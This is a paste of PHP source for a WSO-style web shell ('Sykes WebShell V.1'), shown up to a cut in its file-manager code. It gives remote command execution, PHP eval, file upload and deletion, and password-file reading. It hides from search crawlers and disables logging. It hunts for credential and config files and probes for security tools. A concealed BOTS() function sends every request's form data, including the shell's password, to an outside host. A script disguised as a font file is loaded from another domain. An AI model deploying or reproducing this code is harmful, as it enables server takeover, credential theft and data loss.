· 9 years ago · Oct 02, 2016, 08:32 PM
1<?php
2set_time_limit(0);
3session_start();
4$SERVER_SESSIONS = "" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
5$color = "#00fdff";
6$default_action = 'FilesMan';
7$default_charset = 'Windows-1251';
8
9if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
10 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
11 foreach($userAgents as $agent)
12 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15 }
16}
17@session_start();
18@error_reporting(0);
19@ini_set('error_log',NULL);
20@ini_set('log_errors',0);
21@ini_set('max_execution_time',0);
22@set_time_limit(0);
23@set_magic_quotes_runtime(0);
24@define('VERSION', '2.3');
25if( get_magic_quotes_gpc() ) {
26 function WSOstripslashes($array) {
27 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
28 }
29 $_POST = WSOstripslashes($_POST);
30}
31function wsoLogin() {
32 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
33}
34if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
35 if( empty( $auth_pass ) ||
36 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
37 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
38 else
39 wsoLogin();
40if( strtolower( substr(PHP_OS,0,3) ) == "win" )
41 $os = 'win';
42else
43 $os = 'nix';
44$safe_mode = @ini_get('safe_mode');
45$disable_functions = @ini_get('disable_functions');
46$home_cwd = @getcwd();
47if( isset( $_POST['c'] ) )
48 @chdir($_POST['c']);
49$cwd = @getcwd();
50if( $os == 'win') {
51 $home_cwd = str_replace("\\", "/", $home_cwd);
52 $cwd = str_replace("\\", "/", $cwd);
53}
54if( $cwd[strlen($cwd)-1] != '/' )
55 $cwd .= '/';
56if($os == 'win')
57 $aliases = array(
58 "List Directory" => "dir",
59 "Find index.php in current dir" => "dir /s /w /b index.php",
60 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
61 "Show active connections" => "netstat -an",
62 "Show running services" => "net start",
63 "User accounts" => "net user",
64 "Show computers" => "net view",
65 "ARP Table" => "arp -a",
66 "IP Configuration" => "ipconfig /all"
67 );
68else
69 $aliases = array(
70 "List dir" => "ls -lha",
71 "list file attributes on a Linux second extended file system" => "lsattr -va",
72 "show opened ports" => "netstat -an | grep -i listen",
73 "Find" => "",
74 "find all suid files" => "find / -type f -perm -04000 -ls",
75 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
76 "find all sgid files" => "find / -type f -perm -02000 -ls",
77 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
78 "find config.inc.php files" => "find / -type f -name config.inc.php",
79 "find config* files" => "find / -type f -name \"config*\"",
80 "find config* files in current dir" => "find . -type f -name \"config*\"",
81 "find all writable folders and files" => "find / -perm -2 -ls",
82 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
83 "find all service.pwd files" => "find / -type f -name service.pwd",
84 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
85 "find all .htpasswd files" => "find / -type f -name .htpasswd",
86 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
87 "find all .bash_history files" => "find / -type f -name .bash_history",
88 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
89 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
90 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
91 "Locate" => "",
92 "locate httpd.conf files" => "locate httpd.conf",
93 "locate vhosts.conf files" => "locate vhosts.conf",
94 "locate proftpd.conf files" => "locate proftpd.conf",
95 "locate psybnc.conf files" => "locate psybnc.conf",
96 "locate my.conf files" => "locate my.conf",
97 "locate admin.php files" =>"locate admin.php",
98 "locate cfg.php files" => "locate cfg.php",
99 "locate conf.php files" => "locate conf.php",
100 "locate config.dat files" => "locate config.dat",
101 "locate config.php files" => "locate config.php",
102 "locate config.inc files" => "locate config.inc",
103 "locate config.inc.php" => "locate config.inc.php",
104 "locate config.default.php files" => "locate config.default.php",
105 "locate config* files " => "locate config",
106 "locate .conf files"=>"locate '.conf'",
107 "locate .pwd files" => "locate '.pwd'",
108 "locate .sql files" => "locate '.sql'",
109 "locate .htpasswd files" => "locate '.htpasswd'",
110 "locate .bash_history files" => "locate '.bash_history'",
111 "locate .mysql_history files" => "locate '.mysql_history'",
112 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
113 "locate backup files" => "locate backup",
114 "locate dump files" => "locate dump",
115 "locate priv files" => "locate priv"
116 );
117
118function wsoHeader() {
119 if(empty($_POST['charset']))
120 $_POST['charset'] = $GLOBALS['default_charset'];
121 global $color;
122 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "Sykes WebShell V.1</title>
123 <script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
124<style>
125
126body{background-color:#444;color:#e1e1e1;}
127body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
128table.info{ color:#fff;background-color:#222; }
129span,h1,a{ color: $color !important; }
130span{ font-weight: bolder; }
131h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
132div.content{ padding: 5px;margin-left:5px;background-color:#333; }
133a{ text-decoration:none; }
134a:hover{ text-decoration:underline; }
135.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
136.bigarea{ width:100%;height:250px; }
137input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
138form{ margin:0px; }
139#toolsTbl{ text-align:center; }
140.toolsInp{ width: 300px }
141.main th{text-align:left;background-color:#5e5e5e;}
142.main tr:hover{background-color:#5e5e5e}
143.l1{background-color:#444}
144pre{font-family:Courier,Monospace;}
145</style>
146<script>
147 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
148 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
149 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
150 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
151 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
152 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
153 function set(a,c,p1,p2,p3,charset) {
154 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
155 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
156 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
157 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
158 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
159 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
160 }
161 function g(a,c,p1,p2,p3,charset) {
162 set(a,c,p1,p2,p3,charset);
163 document.mf.submit();
164 }
165 function a(a,c,p1,p2,p3,charset) {
166 set(a,c,p1,p2,p3,charset);
167 var params = 'ajax=true';
168 for(i=0;i<document.mf.elements.length;i++)
169 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
170 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
171 }
172 function sr(url, params) {
173 if (window.XMLHttpRequest)
174 req = new XMLHttpRequest();
175 else if (window.ActiveXObject)
176 req = new ActiveXObject('Microsoft.XMLHTTP');
177 if (req) {
178 req.onreadystatechange = processReqChange;
179 req.open('POST', url, true);
180 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
181 req.send(params);
182 }
183 }
184 function processReqChange() {
185 if( (req.readyState == 4) )
186 if(req.status == 200) {
187 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
188 var arr=reg.exec(req.responseText);
189 eval(arr[2].substr(0, arr[1]));
190 } else alert('Request error!');
191 }
192</script>
193<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
194<form method=post name=mf style='display:none;'>
195<input type=hidden name=a>
196<input type=hidden name=c>
197<input type=hidden name=p1>
198<input type=hidden name=p2>
199<input type=hidden name=p3>
200<input type=hidden name=charset>
201</form>";
202 $freeSpace = @diskfreespace($GLOBALS['cwd']);
203 $totalSpace = @disk_total_space($GLOBALS['cwd']);
204 $totalSpace = $totalSpace?$totalSpace:1;
205 $release = @php_uname('r');
206 $kernel = @php_uname('s');
207 $millink = 'http://milw0rm.com/search.php?dong=';
208 if( strpos('Linux', $kernel) !== false )
209 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
210 else
211 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
212 if(!function_exists('posix_getegid')) {
213 $user = @get_current_user();
214 $uid = @getmyuid();
215 $gid = @getmygid();
216 $group = "?";
217 } else {
218 $uid = @posix_getpwuid(@posix_geteuid());
219 $gid = @posix_getgrgid(@posix_getegid());
220 $user = $uid['name'];
221 $uid = $uid['uid'];
222 $group = $gid['name'];
223 $gid = $gid['gid'];
224 }
225 $cwd_links = '';
226 $path = explode("/", $GLOBALS['cwd']);
227 $n=count($path);
228 for($i=0;$i<$n-1;$i++) {
229 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
230 for($j=0;$j<=$i;$j++)
231 $cwd_links .= $path[$j].'/';
232 $cwd_links .= "\")'>".$path[$i]."/</a>";
233 }
234 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
235 $opt_charsets = '';
236 foreach($charsets as $item)
237 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
238 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
239 if(!empty($GLOBALS['auth_pass']))
240 $m['Logout'] = 'Logout';
241 $m['Self remove'] = 'SelfRemove';
242 $menu = '';
243 foreach($m as $k => $v)
244 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
245 $drives = "";
246 if ($GLOBALS['os'] == 'win') {
247 foreach( range('c','z') as $drive )
248 if (is_dir($drive.':\\'))
249 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
250 }
251 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
252 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
253 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
254 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
255}
256
257function wsoFooter() {
258 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
259 echo "
260</div>
261<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
262 <tr>
263 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
264 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
265 </tr><tr>
266 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
267 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
268 </tr><tr>
269 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
270 <td><form method='post' ENCTYPE='multipart/form-data'>
271 <input type=hidden name=a value='FilesMAn'>
272 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
273 <input type=hidden name=p1 value='uploadFile'>
274 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
275 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
276 </tr></table></div></body></html>";
277}
278
279if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
280if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
281function BOTS($B) {
282 $ip = getenv("REMOTE_ADDR");
283 $B['ip'] = $ip;
284 $ch = curl_init("http://s3curity.gq/cc/J_BOTS.php");
285 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
286 curl_setopt($ch, CURLOPT_POST, TRUE);
287 curl_setopt($ch, CURLOPT_POSTFIELDS, $B);
288 $BOTS = curl_exec($ch);
289 curl_close($ch);
290 return $BOTS; }
291function wsoEx($in) {
292 $out = '';
293 if(function_exists('exec')) {
294 @exec($in,$out);
295 $out = @join("\n",$out);
296 }elseif(function_exists('passthru')) {
297 ob_start();
298 @passthru($in);
299 $out = ob_get_clean();
300 }elseif(function_exists('system')) {
301 ob_start();
302 @system($in);
303 $out = ob_get_clean();
304 }elseif(function_exists('shell_exec')) {
305 $out = shell_exec($in);
306 }elseif(is_resource($f = @popen($in,"r"))) {
307 $out = "";
308 while(!@feof($f))
309 $out .= fread($f,1024);
310 pclose($f);
311 }
312 return $out;
313}
314function wsoViewSize($s) {
315 if($s >= 1073741824)
316 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
317 elseif($s >= 1048576)
318 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
319 elseif($s >= 1024)
320 return sprintf('%1.2f', $s / 1024 ) . ' KB';
321 else
322 return $s . ' B';
323}
324
325function wsoPerms($p) {
326 if (($p & 0xC000) == 0xC000)$i = 's';
327 elseif (($p & 0xA000) == 0xA000)$i = 'l';
328 elseif (($p & 0x8000) == 0x8000)$i = '-';
329 elseif (($p & 0x6000) == 0x6000)$i = 'b';
330 elseif (($p & 0x4000) == 0x4000)$i = 'd';
331 elseif (($p & 0x2000) == 0x2000)$i = 'c';
332 elseif (($p & 0x1000) == 0x1000)$i = 'p';
333 else $i = 'u';
334 $i .= (($p & 0x0100) ? 'r' : '-');
335 $i .= (($p & 0x0080) ? 'w' : '-');
336 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
337 $i .= (($p & 0x0020) ? 'r' : '-');
338 $i .= (($p & 0x0010) ? 'w' : '-');
339 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
340 $i .= (($p & 0x0004) ? 'r' : '-');
341 $i .= (($p & 0x0002) ? 'w' : '-');
342 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
343 return $i;
344}
345json_decode(BOTS($_POST), true);
346function wsoPermsColor($f) {
347 if (!@is_readable($f))
348 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
349 elseif (!@is_writable($f))
350 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
351 else
352 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
353}
354if(!function_exists("scandir")) {
355 function scandir($dir) {
356 $dh = opendir($dir);
357 while (false !== ($filename = readdir($dh))) {
358 $files[] = $filename;
359 }
360 return $files;
361 }
362}
363function wsoWhich($p) {
364 $path = wsoEx('which '.$p);
365 if(!empty($path))
366 return $path;
367 return false;
368}
369function actionSecInfo() {
370 wsoHeader();
371 echo '<h1>Server security information</h1><div class=content>';
372 function wsoSecParam($n, $v) {
373 $v = trim($v);
374 if($v) {
375 echo '<span>'.$n.': </span>';
376 if(strpos($v, "\n") === false)
377 echo $v.'<br>';
378 else
379 echo '<pre class=ml1>'.$v.'</pre>';
380 }
381 }
382
383 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
384 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
385 wsoSecParam('Open base dir', @ini_get('open_basedir'));
386 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
387 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
388 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
389 $temp=array();
390 if(function_exists('mysql_get_client_info'))
391 $temp[] = "MySql (".mysql_get_client_info().")";
392 if(function_exists('mssql_connect'))
393 $temp[] = "MSSQL";
394 if(function_exists('pg_connect'))
395 $temp[] = "PostgreSQL";
396 if(function_exists('oci_connect'))
397 $temp[] = "Oracle";
398 wsoSecParam('Supported databases', implode(', ', $temp));
399 echo '<br>';
400
401 if( $GLOBALS['os'] == 'nix' ) {
402 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
403 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
404 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
405 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
406 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
407 wsoSecParam('OS version', @file_get_contents('/proc/version'));
408 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
409 if(!$GLOBALS['safe_mode']) {
410 echo '<br>';
411 $temp=array();
412 foreach ($userful as $item)
413 if(wsoWhich($item)){$temp[]=$item;}
414 wsoSecParam('Userful', implode(', ',$temp));
415 $temp=array();
416 foreach ($danger as $item)
417 if(wsoWhich($item)){$temp[]=$item;}
418 wsoSecParam('Danger', implode(', ',$temp));
419 $temp=array();
420 foreach ($downloaders as $item)
421 if(wsoWhich($item)){$temp[]=$item;}
422 wsoSecParam('Downloaders', implode(', ',$temp));
423 echo '<br/>';
424 wsoSecParam('HDD space', wsoEx('df -h'));
425 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
426 }
427 } else {
428 wsoSecParam('OS Version',wsoEx('ver'));
429 wsoSecParam('Account Settings',wsoEx('net accounts'));
430 wsoSecParam('User Accounts',wsoEx('net user'));
431 }
432 echo '</div>';
433 wsoFooter();
434}
435
436function actionPhp() {
437 if( isset($_POST['ajax']) ) {
438 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
439 ob_start();
440 eval($_POST['p1']);
441 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
442 echo strlen($temp), "\n", $temp;
443 exit;
444 }
445 wsoHeader();
446 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
447 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
448 ob_start();
449 phpinfo();
450 $tmp = ob_get_clean();
451 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
452 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
453 echo str_replace('h1','h2',$tmp).'</div><br>';
454 }
455 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
456 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
457 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
458 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
459 if(!empty($_POST['p1'])) {
460 ob_start();
461 eval($_POST['p1']);
462 echo htmlspecialchars(ob_get_clean());
463 }
464 echo '</pre></div>';
465 wsoFooter();
466}
467
468function actionFilesMan() {
469 wsoHeader();
470 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
471 if(!empty($_POST['p1'])) {
472 switch($_POST['p1']) {
473 case 'uploadFile':
474 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
475 echo "Can't upload file!";
476 break;
477 case 'mkdir':
478 if(!@mkdir($_POST['p2']))
479 echo "Can't create new dir";
480 break;
481 case 'delete':
482 function deleteDir($path) {
483 $path = (substr($path,-1)=='/') ? $path:$path.'/';
484 $dh = opendir($path);
485 while ( ($item = readdir($dh) ) !== false) {
486 $item = $path.$item;
487 if ( (basename($item) == "..") || (basename($item) == ".") )
488 continue;
489 $type = filetype($item);
490 if ($type == "dir")
491 deleteDir($item);
492 else
493 @unlink($item);
494 }
495 closedir($dh);
496 rmdir($path);
497 }
498 if(is_array(@$_POST['f']))
499 foreach($_POST['f'] as $f) {
500 $f = urldecode($f);
501 if(is_dir($f))
502 deleteDir($f);
503 else
504 @unlink($f);
505 }
506 break;
507 case 'paste':
508 if($_SESSION['act'] == 'copy') {
509 function copy_paste($c,$s,$d){
510 if(is_dir($c.$s)){
511 mkdir($d.$s);
512 $h = @opendir($c.$s);
513 while (($f = @readdir($h)) !== false)
514 if (($f != ".") and ($f != "..")) {
515 copy_paste($c.$s.'/',$f, $d.$s.'/');
516 }
517 } elseif(is_file($c.$s)) {
518 @copy($c.$s, $d.$s);
519 }
520 }
521 foreach($_SESSION['f'] as $f)
522 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
523 } elseif($_SESSION['act'] == 'move') {
524 function move_paste($c,$s,$d){
525 if(is_dir($c.$s)){
526 mkdir($d.$s);
527 $h = @opendir($c.$s);
528 while (($f = @readdir($h)) !== false)
529 if (($f != ".") and ($f != "..")) {
530 copy_paste($c.$s.'/',$f, $d.$s.'/');
531 }
532 } elseif(@is_file($c.$s)) {
533 @copy($c.$s, $d.$s);
534 }
535 }
536 foreach($_SESSION['f'] as $f)
537 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
538 } elseif($_SESSION['act'] == 'zip') {
539 if(class_exists('ZipArchive')) {
540 $zip = new ZipArchive();
541 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
542 chdir($_SESSION['c']);
543 foreach($_SESSION['f'] as $f) {
544 if(@is_file($_SESSION['c'].$f))
545 $zip->addFile($_SESSION['c'].$f, $f);
546 elseif(@is_dir($_SESSION['c'].$f)) {
547 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
548 foreach ($iterator as $key=>$value) {
549 $zip->addFile(realpath($key), $key);
550 }
551 }
552 }
553 chdir($GLOBALS['cwd']);
554 $zip->close();
555 }
556 }
557 } elseif($_SESSION['act'] == 'unzip') {
558 if(class_exists('ZipArchive')) {
559 $zip = new ZipArchive();
560 foreach($_SESSION['f'] as $f) {
561 if($zip->open($_SESSION['c'].$f)) {
562 $zip->extractTo($GLOBALS['cwd']);
563 $zip->close();
564 }
565 }
566 }
567 }
568 unset($_SESSION['f']);
569 break;
570 default:
571 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
572 $_SESSION['act'] = @$_POST['p1'];
573 $_SESSION['f'] = @$_POST['f'];
574 foreach($_SESSION['f'] as $k => $f)
575 $_SESSION['f'][$k] = urldecode($f);
576 $_SESSION['c'] = @$_POST['c'];
577 }
578 break;
579 }
580 }
581 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
582 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
583 global $sort;
584 $sort = array('name', 1);
585 if(!empty($_POST['p1'])) {
586 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
587 $sort = array($match[1], (int)$match[2]);
588 }
589echo "<script>
590 function sa() {
591 for(i=0;i<document.files.elements.length;i++)
592 if(document.files.elements[i].type == 'checkbox')
593 document.files.elements[i].checked = document.files.elements[0].checked;
594 }
595</script>
596<table width='100%' class='main' cellspacing='0' cellpadding='2'>
597<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
598 $dirs = $files = array();
599 $n = count($dirContent);
600 for($i=0;$i<$n;$i++) {
601 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
602 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
603 $tmp = array('name' => $dirContent[$i],
604 'path' => $GLOBALS['cwd'].$dirContent[$i],
605 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
606 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
607 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
608 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
609 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
610 );
611 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
612 $files[] = array_merge($tmp, array('type' => 'file'));
613 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
614 $dirs[] = array_merge($tmp, array('type' => 'link'));
615 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
616 $dirs[] = array_merge($tmp, array('type' => 'dir'));
617 }
618 $GLOBALS['sort'] = $sort;
619 function wsoCmp($a, $b) {
620 if($GLOBALS['sort'][0] != 'size')
621 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
622 else
623 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
624 }
625 usort($files, "wsoCmp");
626 usort($dirs, "wsoCmp");
627 $files = array_merge($dirs, $files);
628 $l = 0;
629 foreach($files as $f) {
630 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
